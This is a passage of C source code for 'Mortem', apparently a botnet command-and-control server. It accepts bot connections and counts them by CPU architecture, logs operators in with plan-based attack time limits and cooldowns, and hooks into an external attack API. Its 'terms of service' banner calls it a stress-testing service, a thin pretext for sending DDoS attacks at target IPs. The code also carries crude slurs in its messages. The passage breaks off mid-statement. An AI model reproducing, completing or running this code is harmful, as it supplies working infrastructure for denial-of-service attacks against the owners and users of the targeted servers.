Been Logged In For More Than 2 Hour 140 | It Will Kick You Out Of The Session 141 | Warnings Upon the 30, 10 and 5 Minute Marks 142 | 143 | Finally Added Logout Command :D 144 | If You Try And Crash The Screen It Kicks You Out Of The Session 145 | 146 | 147 | */ 148 | 149 | /* 150 | Adding RN: 151 | Api Attack Function 152 | Lines: 336-449, 2841-2904 153 | */ 154 | 155 | /* TODO: 156 | All Current Running Attacks Feature 157 | 158 | Example: 159 | 160 | Running Attacks: 161 | Zevexerity: STD IP: 1.1.1.1 Attack Time:80 Time Left: 80 Seconds 162 | Maverick: OVH IP: 8.8.8.8 Attack Time:39 Time Left: 120 Seconds 163 | */ 164 | 165 | 166 | #include 167 | #include 168 | #include 169 | #include 170 | #include 171 | #include 172 | #include 173 | #include 174 | #include 175 | #include 176 | #include 177 | #include 178 | #include 179 | #include 180 | #include 181 | #include 182 | 183 | #define userfile "users/login.txt" 184 | #define MAXFDS 1000000 185 | 186 | char user_ip[100]; 187 | char *ipinfo[800]; 188 | char usethis[2048]; 189 | char motd[512]; 190 | int loggedin = 1; 191 | int logoutshit; 192 | int sent = 0; 193 | int motdaction = 1; 194 | int Attacksend = 0; 195 | int AttackStatus = 0; 196 | int userssentto; 197 | int msgoff; 198 | char broadcastmsg[800]; 199 | int attacksrunning = 0; 200 | int threads, port; 201 | 202 | struct login { 203 | char username[100]; 204 | char password[100]; 205 | char admin[50]; 206 | char expirydate[100]; 207 | int cooldown_timer; 208 | int cooldown; 209 | int maxtime; 210 | }; 211 | static struct login accounts[100]; 212 | struct clientdata_t { 213 | uint32_t ip; 214 | char x86; 215 | char ARM; 216 | char mips; 217 | char mpsl; 218 | char ppc; 219 | char spc; 220 | char unknown; 221 | char connected; 222 | } clients[MAXFDS]; 223 | struct telnetdata_t { 224 | int connected; 225 | int adminstatus; 226 | char my_ip[100]; 227 | char id[800]; 228 | char planname[800]; 229 | int mymaxtime; 230 | int mycooldown; 231 | int listenattacks; 232 | int cooldownstatus;// Cool Down Thread Status 233 | int cooldownsecs;// Cool Down Seconds Left 234 | int msgtoggle;// Toggles Recieving messages 235 | int broadcasttoggle;// Toggles Broadcast Toggle 236 | int LoginListen; 237 | } managements[MAXFDS]; 238 | 239 | struct Attacks { 240 | char username[100]; 241 | char method[100]; 242 | char ip[100]; 243 | int attackcooldownsecs;// Counts the length of your attack to be counted down using a thread 244 | int attacktime; 245 | int attacktimeleft; 246 | int amountofatks; // counts How manny attacks you have sent whilst your attacks are running 247 | 248 | } Sending[MAXFDS]; 249 | 250 | struct args { 251 | int sock; 252 | struct sockaddr_in cli_addr; 253 | }; 254 | 255 | struct CoolDownArgs{ 256 | int sock; 257 | int seconds; 258 | char *ip; 259 | char *method; 260 | char *username; 261 | }; 262 | 263 | struct toast { 264 | int login; 265 | int just_logged_in; 266 | } gay[MAXFDS]; 267 | 268 | 269 | FILE *LogFile2; 270 | FILE *LogFile3; 271 | static volatile int epollFD = 0; 272 | static volatile int listenFD = 0; 273 | static volatile int OperatorsConnected = 0; 274 | static volatile int DUPESDELETED = 0; 275 | 276 | void StartCldown(void *arguments) 277 | { 278 | struct CoolDownArgs *args = arguments; 279 | int fd = (int)args->sock; 280 | int seconds = (int)args->seconds; 281 | managements[fd].cooldownsecs = 0; 282 | time_t start = time(NULL); 283 | if(managements[fd].cooldownstatus == 0) 284 | managements[fd].cooldownstatus = 1; 285 | while(managements[fd].cooldownsecs++ <= seconds) sleep(1); 286 | managements[fd].cooldownsecs = 0; 287 | managements[fd].cooldownstatus = 0; 288 | return; 289 | } 290 | 291 | void attacktime(void *arguments)// counts down till when your attack stops running 292 | { 293 | struct CoolDownArgs *args = arguments; 294 | int fd = args->sock; 295 | int seconds = args->seconds; 296 | 297 | attacksrunning++; 298 | time_t start = time(NULL); 299 | Sending[fd].amountofatks++; 300 | while(Sending[fd].attackcooldownsecs++ >= seconds) sleep(1); 301 | 302 | Sending[fd].attackcooldownsecs = 0; 303 | Sending[fd].amountofatks--; 304 | attacksrunning--; 305 | return; 306 | } 307 | 308 | 309 | 310 | void timeconnected(void *sock) 311 | { 312 | char sadtimes[800]; 313 | int datafd = (int)sock; 314 | int seconds = 7200; 315 | int closesecs = 0; 316 | while(seconds-- >= closesecs) 317 | { 318 | if(seconds == 1800) 319 | { 320 | sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 30 Minutes Before You Will Be Logged Out!\r\n"); 321 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 322 | sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 323 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 324 | } 325 | 326 | else if(seconds == 300) 327 | { 328 | sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 5 Minutes Before You Will Be Logged Out!\r\n"); 329 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 330 | sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 331 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 332 | } 333 | 334 | else if(seconds == 60) 335 | { 336 | sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 60 Seconds Before You Will Be Logged Out!\r\n"); 337 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 338 | sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 339 | send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL); 340 | } 341 | sleep(1); 342 | } 343 | char lz[800]; 344 | sprintf(lz, "\r\n\e[38;5;190mYou Have Been Logged Out. You Have Had The Net Open For An Hour\r\n"); 345 | memset(managements[datafd].id, 0, sizeof(managements[datafd].id)); 346 | managements[datafd].connected = 0; 347 | OperatorsConnected--; 348 | send(datafd, lz, strlen(lz), MSG_NOSIGNAL); 349 | sleep(2); 350 | close(datafd); 351 | return; 352 | } 353 | 354 | 355 | void enc(char *str) 356 | { 357 | int i; 358 | for(i = 0; (i < 100 && str[i] != '\0'); i++) 359 | str[i] = str[i] + 3; 360 | } 361 | 362 | void decrypt(char *str) 363 | { 364 | int i; 365 | for(i = 0; (i < 100 && str[i] != '\0'); i++) 366 | { 367 | str[i] = str[i] - 3; 368 | } 369 | } 370 | /* TEST */ 371 | char *apiip = "xmlapi.xyz/"; 372 | int resolvehttp(char * , char *); 373 | int resolvehttp(char *site , char *ip) 374 | { 375 | struct hostent *he; 376 | struct in_addr **addr_list; 377 | int i; 378 | if ( (he = gethostbyname( site ) ) == NULL) 379 | { 380 | // get the host info 381 | herror("gethostbyname"); 382 | return 1; 383 | } 384 | addr_list = (struct in_addr **) he->h_addr_list; 385 | for(i = 0; addr_list[i] != NULL; i++) 386 | { 387 | //Return the first one; 388 | strcpy(ip , inet_ntoa(*addr_list[i]) ); 389 | return 0; 390 | } 391 | return 1; 392 | } 393 | 394 | 395 | 396 | 397 | /* TEST */ 398 | 399 | 400 | int fdgets(unsigned char *buffer, int bufferSize, int fd) { 401 | int total = 0, got = 1; 402 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } 403 | return got; 404 | } 405 | 406 | static int check_expiry(const int fd) // if(year > atoi(my_year) || day > atoi(my_day) && month >= atoi(my_month) && year == atoi(my_year) || month > atoi(my_month) && year >= atoi(my_year)) 407 | { 408 | time_t t = time(0); 409 | struct tm tm = *localtime(&t); 410 | int day, month, year, argc = 0; 411 | day = tm.tm_mday; // 412 | month = tm.tm_mon + 1; 413 | year = tm.tm_year - 100; 414 | char *expirydate = calloc(strlen(accounts[fd].expirydate), sizeof(char)); 415 | strcpy(expirydate, accounts[fd].expirydate); 416 | 417 | char *args[10 + 1]; 418 | char *p2 = strtok(expirydate, "/"); 419 | 420 | while(p2 && argc < 10) 421 | { 422 | args[argc++] = p2; 423 | p2 = strtok(0, "/"); 424 | } 425 | 426 | if(year > atoi(args[2]) || day > atoi(args[1]) && month >= atoi(args[0]) && year == atoi(args[2]) || month > atoi(args[0]) && year >= atoi(args[2])) 427 | return 1; 428 | return 0; 429 | } 430 | 431 | 432 | int checkaccounts() 433 | { 434 | FILE *file; 435 | if((file = fopen("users/login.txt","r")) != NULL) 436 | { 437 | fclose(file); 438 | } else { 439 | char checkaccuser[80], checkpass[80]; 440 | printf("Username:"); 441 | scanf("%s", checkaccuser); 442 | printf("Password:"); 443 | scanf("%s", checkpass); 444 | char reguser[80]; 445 | char thing[80]; 446 | char mkdir[80]; 447 | sprintf(mkdir, "mkdir users"); 448 | sprintf(thing, "%s %s Admin 1200 0 99/99/9999"); 449 | sprintf(reguser, "echo '%s' >> users/login.txt", thing); 450 | system(mkdir); 451 | system(reguser); 452 | printf("login.txt was Missing It has Now Been Created\r\nWithout this the screenw ould crash instantly\r\n"); 453 | } 454 | } 455 | int checklog() 456 | { 457 | FILE *logs1; 458 | if((logs1 = fopen("logs/", "r")) != NULL) 459 | { 460 | fclose(logs1); 461 | } else { 462 | char mkdir[80]; 463 | strcpy(mkdir, "mkdir logs"); 464 | system(mkdir); 465 | printf("Logs Directory Was Just Created\r\n"); 466 | } 467 | FILE *logs2; 468 | if((logs2 = fopen("logs/IPBANNED.txt", "r")) != NULL) 469 | { 470 | fclose(logs2); 471 | } else { 472 | char makeipbanned[800]; 473 | strcpy(makeipbanned, "cd logs; touch IPBANNED.txt"); 474 | system(makeipbanned); 475 | printf("IPBANNED.txt Was Not In Logs... It has been created\r\nWithout This File The C2 would crash the instant you open it\r\n"); 476 | } 477 | FILE *logs3; 478 | if((logs3 = fopen("logs/BANNEDUSERS.txt", "r")) != NULL) 479 | { 480 | fclose(logs3); 481 | } else { 482 | char makeuserbanned[800]; 483 | strcpy(makeuserbanned, "cd logs; touch BANNEDUSERS.txt"); 484 | system(makeuserbanned); 485 | printf("BANNEDUSERS.txt Was Not In Logs... It Has Been Created\r\nWithout This File The C2 would crash the instant you put your Username And Password In\r\n"); 486 | } 487 | FILE *logs4; 488 | if((logs4 = fopen("logs/Blacklist.txt", "r")) != NULL) 489 | { 490 | fclose(logs4); 491 | } else { 492 | char makeblacklist[800]; 493 | strcpy(makeblacklist, "cd logs; touch Blacklist.txt"); 494 | system(makeblacklist); 495 | printf("Blacklist.txt Was Not In Logs... It Has Been Created\r\nWithout This File The C2 would crash the instant you Send An Attack\r\n"); 496 | } 497 | 498 | FILE *logs5; 499 | if((logs5 = fopen("logs/AcceptedTos.txt", "r")) != NULL) 500 | { 501 | fclose(logs5); 502 | } else { 503 | char maketos[800]; 504 | strcpy(maketos, "cd logs; touch AcceptedTos.txt"); 505 | system(maketos); 506 | } 507 | 508 | FILE *logs6; 509 | if((logs6 = fopen("logs/LoggedUsers.txt", "r")) != NULL) 510 | { 511 | fclose(logs6); 512 | } else { 513 | char makelogd[800]; 514 | strcpy(makelogd, "cd logs; touch LoggedUsers.txt"); 515 | system(makelogd); 516 | } 517 | } 518 | void trim(char *str) { 519 | int i; 520 | int begin = 0; 521 | int end = strlen(str) - 1; 522 | while (isspace(str[begin])) begin++; 523 | while ((end >= begin) && isspace(str[end])) end--; 524 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; 525 | str[i - begin] = '\0'; 526 | } 527 | static int make_socket_non_blocking (int sfd) { 528 | int flags, s; 529 | flags = fcntl (sfd, F_GETFL, 0); 530 | if (flags == -1) { 531 | perror ("fcntl"); 532 | return -1; 533 | } 534 | flags |= O_NONBLOCK; 535 | s = fcntl (sfd, F_SETFL, flags); 536 | if (s == -1) { 537 | perror ("fcntl"); 538 | return -1; 539 | } 540 | return 0; 541 | } 542 | 543 | static int create_and_bind (char *port) { 544 | struct addrinfo hints; 545 | struct addrinfo *result, *rp; 546 | int s, sfd; 547 | memset (&hints, 0, sizeof (struct addrinfo)); 548 | hints.ai_family = AF_UNSPEC; 549 | hints.ai_socktype = SOCK_STREAM; 550 | hints.ai_flags = AI_PASSIVE; 551 | s = getaddrinfo (NULL, port, &hints, &result); 552 | if (s != 0) { 553 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); 554 | return -1; 555 | } 556 | for (rp = result; rp != NULL; rp = rp->ai_next) { 557 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); 558 | if (sfd == -1) continue; 559 | int yes = 1; 560 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt"); 561 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); 562 | if (s == 0) { 563 | break; 564 | } 565 | close (sfd); 566 | } 567 | if (rp == NULL) { 568 | fprintf (stderr, "Could not bind\n"); 569 | return -1; 570 | } 571 | freeaddrinfo (result); 572 | return sfd; 573 | } 574 | 575 | void broadcast(char *msg, int us, char *sender) 576 | { 577 | int i; 578 | 579 | for(i = 0; i < MAXFDS; i++) 580 | { 581 | if(clients[i].connected >= 1) 582 | { 583 | send(i, msg, strlen(msg), MSG_NOSIGNAL); 584 | send(i, "\n", 1, MSG_NOSIGNAL); 585 | } 586 | } 587 | } 588 | 589 | 590 | void *BotEventLoop(void *useless) 591 | { 592 | struct epoll_event event; 593 | struct epoll_event *events; 594 | int s; 595 | events = calloc(MAXFDS, sizeof event); 596 | while (1) 597 | { 598 | int n, i; 599 | n = epoll_wait(epollFD, events, MAXFDS, -1); 600 | for (i = 0; i < n; i++) 601 | { 602 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) 603 | { 604 | clients[events[i].data.fd].connected = 0; 605 | clients[events[i].data.fd].x86 = 0; 606 | clients[events[i].data.fd].ARM = 0; 607 | clients[events[i].data.fd].mips = 0; 608 | clients[events[i].data.fd].mpsl = 0; 609 | clients[events[i].data.fd].ppc = 0; 610 | clients[events[i].data.fd].spc = 0; 611 | clients[events[i].data.fd].unknown = 0; 612 | close(events[i].data.fd); 613 | continue; 614 | } 615 | else if (listenFD == events[i].data.fd) 616 | { 617 | while (1) 618 | { 619 | struct sockaddr in_addr; 620 | socklen_t in_len; 621 | int infd, ipIndex; 622 | 623 | in_len = sizeof in_addr; 624 | infd = accept(listenFD, &in_addr, &in_len); 625 | if (infd == -1) 626 | { 627 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; 628 | else 629 | { 630 | perror("accept"); 631 | break; 632 | } 633 | } 634 | 635 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; 636 | 637 | int dup = 0; 638 | for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++) 639 | { 640 | if (!clients[ipIndex].connected || ipIndex == infd) continue; 641 | 642 | if (clients[ipIndex].ip == clients[infd].ip) 643 | { 644 | dup = 1; 645 | break; 646 | } 647 | } 648 | 649 | if(dup) 650 | { 651 | if(send(infd, "! DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } 652 | close(infd); 653 | continue; 654 | } 655 | 656 | s = make_socket_non_blocking(infd); 657 | if (s == -1) { close(infd); break; } 658 | 659 | event.data.fd = infd; 660 | event.events = EPOLLIN | EPOLLET; 661 | s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event); 662 | if (s == -1) 663 | { 664 | perror("epoll_ctl"); 665 | close(infd); 666 | break; 667 | } 668 | 669 | clients[infd].connected = 1; 670 | 671 | } 672 | continue; 673 | } 674 | else 675 | { 676 | int thefd = events[i].data.fd; 677 | struct clientdata_t *client = &(clients[thefd]); 678 | int done = 0; 679 | client->connected = 1; 680 | client->x86 = 0; 681 | client->ARM = 0; 682 | client->mips = 0; 683 | client->mpsl = 0; 684 | client->ppc = 0; 685 | client->spc = 0; 686 | client->unknown = 0; 687 | while (1) 688 | { 689 | ssize_t count; 690 | char buf[2048]; 691 | memset(buf, 0, sizeof buf); 692 | 693 | while (memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) 694 | { 695 | if (strstr(buf, "\n") == NULL) { done = 1; break; } 696 | trim(buf); 697 | if (strcmp(buf, "PING") == 0) { 698 | if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } 699 | continue; 700 | } 701 | 702 | if(strstr(buf, "x86_64") == buf) 703 | { 704 | client->x86 = 1; 705 | } 706 | if(strstr(buf, "x86_32") == buf) 707 | { 708 | client->x86 = 1; 709 | } 710 | if(strstr(buf, "ARM4") == buf) 711 | { 712 | client->ARM = 1; 713 | } 714 | if(strstr(buf, "ARM5") == buf) 715 | { 716 | client->ARM = 1; 717 | } 718 | if(strstr(buf, "ARM6") == buf) 719 | { 720 | client->ARM = 1; 721 | } 722 | if(strstr(buf, "MIPS") == buf) 723 | { 724 | client->mips = 1; 725 | } 726 | if(strstr(buf, "MPSL") == buf) 727 | { 728 | client->mpsl = 1; 729 | } 730 | if(strstr(buf, "PPC") == buf) 731 | { 732 | client->ppc = 1; 733 | } 734 | if(strstr(buf, "SPC") == buf) 735 | { 736 | client->spc = 1; 737 | } 738 | if(strstr(buf, "idk") == buf) 739 | { 740 | client->unknown = 1; 741 | } 742 | 743 | if (strcmp(buf, "PONG") == 0) { 744 | continue; 745 | } 746 | printf("BOT:\"%s\"\n", buf); 747 | } 748 | 749 | if (count == -1) 750 | { 751 | if (errno != EAGAIN) 752 | { 753 | done = 1; 754 | } 755 | break; 756 | } 757 | else if (count == 0) 758 | { 759 | done = 1; 760 | break; 761 | } 762 | } 763 | 764 | if (done) 765 | { 766 | client->connected = 0; 767 | client->x86 = 0; 768 | client->ARM = 0; 769 | client->mips = 0; 770 | client->mpsl = 0; 771 | client->ppc = 0; 772 | client->spc = 0; 773 | client->unknown = 0; 774 | close(thefd); 775 | } 776 | } 777 | } 778 | } 779 | } 780 | 781 | 782 | unsigned int x86Connected() 783 | { 784 | int i = 0, total = 0; 785 | for(i = 0; i < MAXFDS; i++) 786 | { 787 | if(!clients[i].x86) continue; 788 | total++; 789 | } 790 | 791 | return total; 792 | } 793 | unsigned int armConnected() 794 | { 795 | int i = 0, total = 0; 796 | for(i = 0; i < MAXFDS; i++) 797 | { 798 | if(!clients[i].ARM) continue; 799 | total++; 800 | } 801 | 802 | return total; 803 | } 804 | unsigned int mipsConnected() 805 | { 806 | int i = 0, total = 0; 807 | for(i = 0; i < MAXFDS; i++) 808 | { 809 | if(!clients[i].mips) continue; 810 | total++; 811 | } 812 | 813 | return total; 814 | } 815 | unsigned int mpslConnected() 816 | { 817 | int i = 0, total = 0; 818 | for(i = 0; i < MAXFDS; i++) 819 | { 820 | if(!clients[i].mpsl) continue; 821 | total++; 822 | } 823 | 824 | return total; 825 | } 826 | unsigned int ppcConnected() 827 | { 828 | int i = 0, total = 0; 829 | for(i = 0; i < MAXFDS; i++) 830 | { 831 | if(!clients[i].ppc) continue; 832 | total++; 833 | } 834 | 835 | return total; 836 | } 837 | unsigned int spcConnected() 838 | { 839 | int i = 0, total = 0; 840 | for(i = 0; i < MAXFDS; i++) 841 | { 842 | if(!clients[i].spc) continue; 843 | total++; 844 | } 845 | 846 | return total; 847 | } 848 | unsigned int unknownConnected() 849 | { 850 | int i = 0, total = 0; 851 | for(i = 0; i < MAXFDS; i++) 852 | { 853 | if(!clients[i].unknown) continue; 854 | total++; 855 | } 856 | 857 | return total; 858 | } 859 | 860 | 861 | unsigned int botsconnect() 862 | { 863 | int i = 0, total = 0; 864 | for (i = 0; i < MAXFDS; i++) 865 | { 866 | if (!clients[i].connected) continue; 867 | total++; 868 | } 869 | 870 | return total; 871 | } 872 | int Find_Login(char *str) { 873 | FILE *fp; 874 | int line_num = 0; 875 | int find_result = 0, find_line=0; 876 | char temp[512]; 877 | 878 | if((fp = fopen("users/login.txt", "r")) == NULL){ 879 | return(-1); 880 | } 881 | while(fgets(temp, 512, fp) != NULL){ 882 | if((strstr(temp, str)) != NULL){ 883 | find_result++; 884 | find_line = line_num; 885 | } 886 | line_num++; 887 | } 888 | if(fp) 889 | fclose(fp); 890 | if(find_result == 0)return 0; 891 | return find_line; 892 | } 893 | 894 | 895 | 896 | void checkHostName(int hostname) 897 | { 898 | if (hostname == -1) 899 | { 900 | perror("gethostname"); 901 | exit(1); 902 | } 903 | } 904 | void client_addr(struct sockaddr_in addr){ 905 | 906 | sprintf(ipinfo, "%d.%d.%d.%d", 907 | addr.sin_addr.s_addr & 0xFF, 908 | (addr.sin_addr.s_addr & 0xFF00)>>8, 909 | (addr.sin_addr.s_addr & 0xFF0000)>>16, 910 | (addr.sin_addr.s_addr & 0xFF000000)>>24); 911 | } 912 | 913 | void *TitleWriter(void *sock) { 914 | int datafd = (int)sock; 915 | char string[2048]; 916 | while(1) { 917 | memset(string, 0, 2048); 918 | if(gay[datafd].login == 2) 919 | { 920 | sprintf(string, "%c]0; Welcome To Mortem Please Login %c", '\033', '\007'); 921 | } else { 922 | if(managements[datafd].cooldownstatus == 1) 923 | { 924 | if(attacksrunning > 0) 925 | { 926 | sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Attacks Running: %d | Cooldown: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, attacksrunning, managements[datafd].mycooldown - managements[datafd].cooldownsecs, '\007'); 927 | } else 928 | { 929 | sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Cooldown: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, managements[datafd].mycooldown - managements[datafd].cooldownsecs, '\007'); 930 | } 931 | } 932 | else if(managements[datafd].cooldownstatus == 0) 933 | { 934 | if(attacksrunning > 0) 935 | { 936 | sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Attacks Running: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, attacksrunning, '\007'); 937 | } else { 938 | sprintf(string, "%c]0; Dead Bodies: %d | %s | %s %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, '\007'); 939 | } 940 | } 941 | } 942 | if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return; 943 | sleep(2); 944 | } 945 | } 946 | 947 | 948 | void *BotWorker(void *sock) 949 | { 950 | int datafd = (int)sock; 951 | int find_line; 952 | OperatorsConnected++; 953 | pthread_t title; 954 | gay[datafd].login = 2; 955 | pthread_create(&title, NULL, &TitleWriter, sock); 956 | char buf[2048]; 957 | char* username; 958 | char* password; 959 | char* admin = "admin"; 960 | memset(buf, 0, sizeof buf); 961 | char botnet[2048]; 962 | memset(botnet, 0, 2048); 963 | char botcount [2048]; 964 | memset(botcount, 0, 2048); 965 | char statuscount [2048]; 966 | memset(statuscount, 0, 2048); 967 | 968 | FILE *fp; 969 | int i=0; 970 | int c; 971 | fp=fopen("users/login.txt", "r"); 972 | while(!feof(fp)) { 973 | c=fgetc(fp); 974 | ++i; 975 | } 976 | int j=0; 977 | rewind(fp); 978 | while(j!=i-1) { 979 | fscanf(fp, "%s %s %s %d %d %s", accounts[j].username, accounts[j].password, accounts[j].admin, &accounts[j].maxtime, &accounts[j].cooldown, accounts[j].expirydate); 980 | ++j; 981 | 982 | } 983 | 984 | char *line1 = NULL; 985 | size_t n1 = 0; 986 | FILE *f1 = fopen("logs/IPBANNED.txt", "r"); 987 | while (getline(&line1, &n1, f1) != -1){ 988 | if (strstr(line1, ipinfo) != NULL){ 989 | sprintf(botnet, "\e[38;5;190mYOU HAVE BEEN IP BANNED BY MAVS COCK CONTACT AN ADMIN!\r\n"); 990 | if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; 991 | sleep(5); 992 | goto end; 993 | } 994 | } 995 | fclose(f1); 996 | free(line1); 997 | 998 | 999 | char clearscreen [2048]; 1000 | memset(clearscreen, 0, 2048); 1001 | sprintf(clearscreen, "\033[2J\033[1;1H"); 1002 | { 1003 | char username [5000]; 1004 | sprintf(username, "\e[38;5;54mUsername\e[92m:\e[1;92m", accounts[find_line].username); 1005 | if(send(datafd, username, strlen(username), MSG_NOSIGNAL) == -1) goto end; 1006 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; 1007 | 1008 | trim(buf); 1009 | 1010 | char nickstring[30]; 1011 | strcpy(nickstring, buf); 1012 | memset(buf, 0, sizeof(buf)); 1013 | find_line = Find_Login(nickstring); 1014 | memset(buf, 0, 2048); 1015 | 1016 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; 1017 | 1018 | char password [5000]; 1019 | sprintf(password, "\e[38;5;2mPassword:\e[92m\e[0;30m:", accounts[find_line].password); 1020 | 1021 | if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end; 1022 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; 1023 | char passwordl[800]; 1024 | trim(buf); 1025 | strcpy(passwordl, buf); 1026 | memset(buf, 0, 2048); 1027 | 1028 | char *line2 = NULL; 1029 | size_t n2 = 0; 1030 | FILE *f2 = fopen("logs/BANNEDUSERS.txt", "r"); 1031 | while (getline(&line2, &n2, f2) != -1){ 1032 | if (strstr(line2, nickstring) != NULL){ 1033 | if(send(datafd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; 1034 | sprintf(usethis, "\e[38;5;190mYOU HAVE BEEN BANNED BY MAVS COCK CONTACT AN ADMIN!\r\n"); 1035 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) return; 1036 | sleep(5); 1037 | goto end; 1038 | } 1039 | } 1040 | fclose(f2); 1041 | free(line2); 1042 | 1043 | if(strcmp(accounts[find_line].username, nickstring) != 0 || strcmp(accounts[find_line].password, passwordl) != 0){ goto failed;} 1044 | if(strcmp(accounts[find_line].username, nickstring) == 0 || strcmp(accounts[find_line].password, passwordl) == 0) 1045 | { 1046 | int toast; 1047 | for(toast=0;toast < MAXFDS;toast++){ 1048 | if(!strcmp(managements[toast].id, nickstring)) 1049 | { 1050 | char bad[800]; 1051 | sprintf(bad, "\e[38;5;190mUser %s Is already Logged in Dipshit\r\n", nickstring); 1052 | if(send(datafd, bad, strlen(bad), MSG_NOSIGNAL) == -1) goto end; 1053 | 1054 | sprintf(usethis, "\r\n\e[38;5;190mMessage From Mortem C2:\r\nSomeone Tried To Login To Your Account Contact An Admin\r\n"); 1055 | if(send(toast, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1056 | 1057 | sprintf(usethis, "\e[37m%s@\e[38;5;88mMortem~#\e[37m", nickstring); 1058 | if(send(toast, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1059 | 1060 | memset(nickstring, 0, sizeof(nickstring)); 1061 | memset(passwordl, 0, sizeof(passwordl)); 1062 | sleep(5); 1063 | goto end; 1064 | } 1065 | } 1066 | 1067 | 1068 | if(!strcasecmp(accounts[find_line].admin, "api")) 1069 | { 1070 | goto Banner; 1071 | } 1072 | char gya[800]; 1073 | 1074 | sprintf(gya, "\033[2J\033[1;1H"); 1075 | if(send(datafd, gya, strlen(gya), MSG_NOSIGNAL) == -1) goto end; 1076 | 1077 | char tos1[800]; 1078 | char tos2[800]; 1079 | char tos3[800]; 1080 | char tos4[800]; 1081 | char tos5[800]; 1082 | char tos6[800]; 1083 | char tos7[800]; 1084 | char tos8[800]; 1085 | char tos9[800]; 1086 | char tos10[800]; 1087 | char tos11[800]; 1088 | char tos12[800]; 1089 | char tos13[800]; 1090 | 1091 | sprintf(tos1, " \r\n \e[38;5;54m╔═\e[38;5;2m╔══\e[38;5;2m║\e[38;5;54m═════════════════════════════════════════════════════════════════\e[38;5;2m║══╗\e[38;5;54m═╗\r\n"); 1092 | sprintf(tos2, " \e[38;5;54m║\e[38;5;2m═╝ \e[38;5;45mTERMS OF SERVICE. \e[38;5;2m╚═\e[38;5;54m║\r\n"); 1093 | sprintf(tos3, " \e[38;5;54m║════\e[38;5;2m║\e[38;5;54m═════════════════════════════════════════════════════════════════\e[38;5;2m║\e[38;5;54m════║\r\n"); 1094 | sprintf(tos4, " \e[38;5;54m║════\e[38;5;2m║\e[38;5;54m═════════════════════════════════════════════════════════════════\e[38;5;2m║\e[38;5;54m════║\r\n"); 1095 | sprintf(tos5, " \e[38;5;54m║ \e[38;5;54m║\r\n"); 1096 | sprintf(tos6, " \e[38;5;54m║ \e[97mThis Is A Service Used For Stress testing Personal Servers. \e[38;5;54m║\r\n"); 1097 | sprintf(tos7, " \e[38;5;54m║ \e[97mAny Malicious Attacks Sent Are Held Responsible by the User. \e[38;5;54m║\r\n"); 1098 | sprintf(tos8, " \e[38;5;54m║ \e[97mSending An Abundant Amount Of Tests Can Result In A Perm Ban. \e[38;5;54m║\r\n"); 1099 | sprintf(tos9, " \e[38;5;54m║ \e[97mAswell As Sharing Login Info With Other People. \e[38;5;54m║\r\n"); 1100 | sprintf(tos10, " \e[38;5;54m║ \e[97mIf Your Account Was Banned You Can Not Claim We Scammed. \e[38;5;54m║\r\n"); 1101 | sprintf(tos11, " \e[38;5;54m║ \e[97mDo Not Share The Host IP Or Login Details. \e[38;5;54m║\r\n"); 1102 | sprintf(tos12, " \e[38;5;54m║\e[38;5;2m═╗ \e[38;5;2m╔═\e[38;5;54m║\r\n"); 1103 | sprintf(tos13, " \e[38;5;54m╚═\e[38;5;2m╚══\e[38;5;2m║\e[38;5;54m═════════════════════════════════════════════════════════════════\e[38;5;2m║\e[38;5;2m══╝\e[38;5;54m═╝\r\n"); 1104 | 1105 | if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end; 1106 | if(send(datafd, tos2, strlen(tos2), MSG_NOSIGNAL) == -1) goto end; 1107 | if(send(datafd, tos3, strlen(tos3), MSG_NOSIGNAL) == -1) goto end; 1108 | if(send(datafd, tos4, strlen(tos4), 